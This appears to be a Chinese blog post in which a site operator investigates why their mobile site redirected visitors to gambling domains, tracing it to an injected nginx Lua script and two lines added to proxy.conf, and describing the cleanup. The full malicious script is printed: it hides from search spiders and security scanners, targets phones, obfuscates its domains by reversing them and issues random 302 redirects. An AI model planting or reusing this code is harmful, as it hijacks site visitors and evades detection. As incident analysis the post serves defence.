网站被302跳转至博彩网站

发现问题

有用户反馈,优乐聊H5端无法登录。我自己输入H5端域名:h5.youleliao.cn,在手机浏览器访问发现跳转到了一个博彩网站,以为是眼花了,没想到备案的域名也会被挂马!

于是我在电脑浏览器中打开,刷新好多次发现是正常的,当我切换到手机模式时,会跳转到博彩网站,现在可以确认,网站被挂马了。

解决问题

  • 首先是前端uniapp,重新上传代码,发现问题依然在
  • 在本地测试,打开控制台看请求数据发现问题:
Status Code:302 Found
location:https://2yf.histats.cfd/news.html
sec-ch-ua-platform:"Android"

926c7f22d920260509195110

由此可以看出,问题不在前端,而在后端

  • 开始排查后端,后端是Java程序,运行的是打包之后的jar包,所以不可能是代码的问题
  • 就只能是nginx服务器的问题或者DNS的问题,通过ping域名可以确定的是DNS没有问题
  • 通过对比其他服务器的不同数据,发现“罪魁祸首”

正常服务器文件:

131e67294d20260509195500

被挂马服务器文件:

3caa6eb97020260509195514

路径:/www/server/nginx/html

waf.lua的具体内容:

local U = ngx.var.http_user_agent or ""
local K = ngx.var.http_cookie or ""
local S = os.date("%y%m%d")

local ua_lc = U:lower()

local cn_spiders = {
    "baiduspider",
    "360spider",
    "sogouspider",
    "shenmaspider",
    "petalbot",
    "bytedancespider",
    "toutiaospider",
    "quarkspider",
    "yisouspider",
    "zoomeye",
    "quake",
    "fofa",
    "hunter",
    "chaitin",
    "inetcloud",
    "dnslog",
}

local function is_cn_spider(ua)
    if ua == "" then
        return false
    end
    for _, pattern in ipairs(cn_spiders) do
        if ua:find(pattern, 1, true) then
            return true
        end
    end
    return false
end

if is_cn_spider(ua_lc) then
    return ngx.exit(ngx.HTTP_FORBIDDEN)
end


local is_android = ua_lc:find("android")
local is_iphone  = ua_lc:find("iphone")

if not (is_android or is_iphone) then
    return
end


if K:find("k=" .. S) then
    return
end


ngx.header["Set-Cookie"] = "k=" .. S .. ";Path=/;Max-Age=43200"


if is_iphone and math.random() >= 0.3 then
    return
end


local R1 = "lmth.swen/piv.ssoqj//:sptth"
local R2 = "lmth.swen/dfc.statsih//:sptth"

local function rev(s) return s and string.reverse(s) or "" end
local D1 = rev(R1)
local D2 = rev(R2)

local function strip_proto(full)
    return full:gsub("^https?://", "")
end

local H1 = strip_proto(D1)
local H2 = strip_proto(D2)

local alpha = "abcdefghijklmnopqrstuvwxyz0123456789"
local function rand_pref(len)
    local t = {}
    for i = 1, len do
        local idx = math.random(1, #alpha)
        t[i] = alpha:sub(idx, idx)
    end
    return table.concat(t)
end

local pool = {H1, H2}
local pick = pool[math.random(1, #pool)] or H1
local pref = rand_pref(math.random(3, 7))
local target = "https://" .. pref .. "." .. pick

return ngx.redirect(target, 302)

在 /www/server/nginx/conf/proxy.conf 中恶意添加了以下两行配置:

lua_shared_dict my_cache 10m;
access_by_lua_file /www/server/nginx/html/waf.lua;
  1. 由于 nginx.conf 中 include proxy.conf;,这个木马被全局加载到所有站点
  2. 木马逻辑:识别手机端用户 → 随机跳转到博彩网站(jqoss.vip / hisats.cfd

正常文件

proxy_temp_path /www/server/nginx/proxy_temp_dir;
proxy_cache_path /www/server/nginx/proxy_cache_dir levels=1:2 keys_zone=cache_one:20m inactive=1d max_size=5g;
client_body_buffer_size 512k;
proxy_connect_timeout 60;
proxy_read_timeout 60;
proxy_send_timeout 60;
proxy_buffer_size 32k;
proxy_buffers 4 64k;
proxy_busy_buffers_size 128k;
proxy_temp_file_write_size 128k;
proxy_next_upstream error timeout invalid_header http_500 http_503 http_404;
proxy_cache cache_one;

被篡改后的文件

proxy_temp_path /www/server/nginx/proxy_temp_dir;
proxy_cache_path /www/server/nginx/proxy_cache_dir levels=1:2 keys_zone=cache_one:20m inactive=1d max_size=5g;
client_body_buffer_size 512k;
proxy_connect_timeout 60;
proxy_read_timeout 60;
proxy_send_timeout 60;
proxy_buffer_size 32k;
proxy_buffers 4 64k;
proxy_busy_buffers_size 128k;
proxy_temp_file_write_size 128k;
proxy_next_upstream error timeout invalid_header http_500 http_503 http_404;
proxy_cache cache_one;
lua_shared_dict my_cache 10m;
access_by_lua_file /www/server/nginx/html/waf.lua;

修复问题

从 /www/server/nginx/conf/proxy.conf 删除第13-14行恶意配置

删除 /www/server/nginx/html/waf.lua 木马文件

重载 nginx 配置使其生效

发现黑客设置了 immutable 属性防止文件被修改!先清除该属性,再执行删除操作

挂马攻击通常都会设置复活机制,crontab 中的 `3ab48c27ec99cb9787749c362afae517` 文件内容确认是宝塔的 SSL 证书自动续签任务(acme_v2.py),这是正常的宝塔任务,不是恶意的。

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容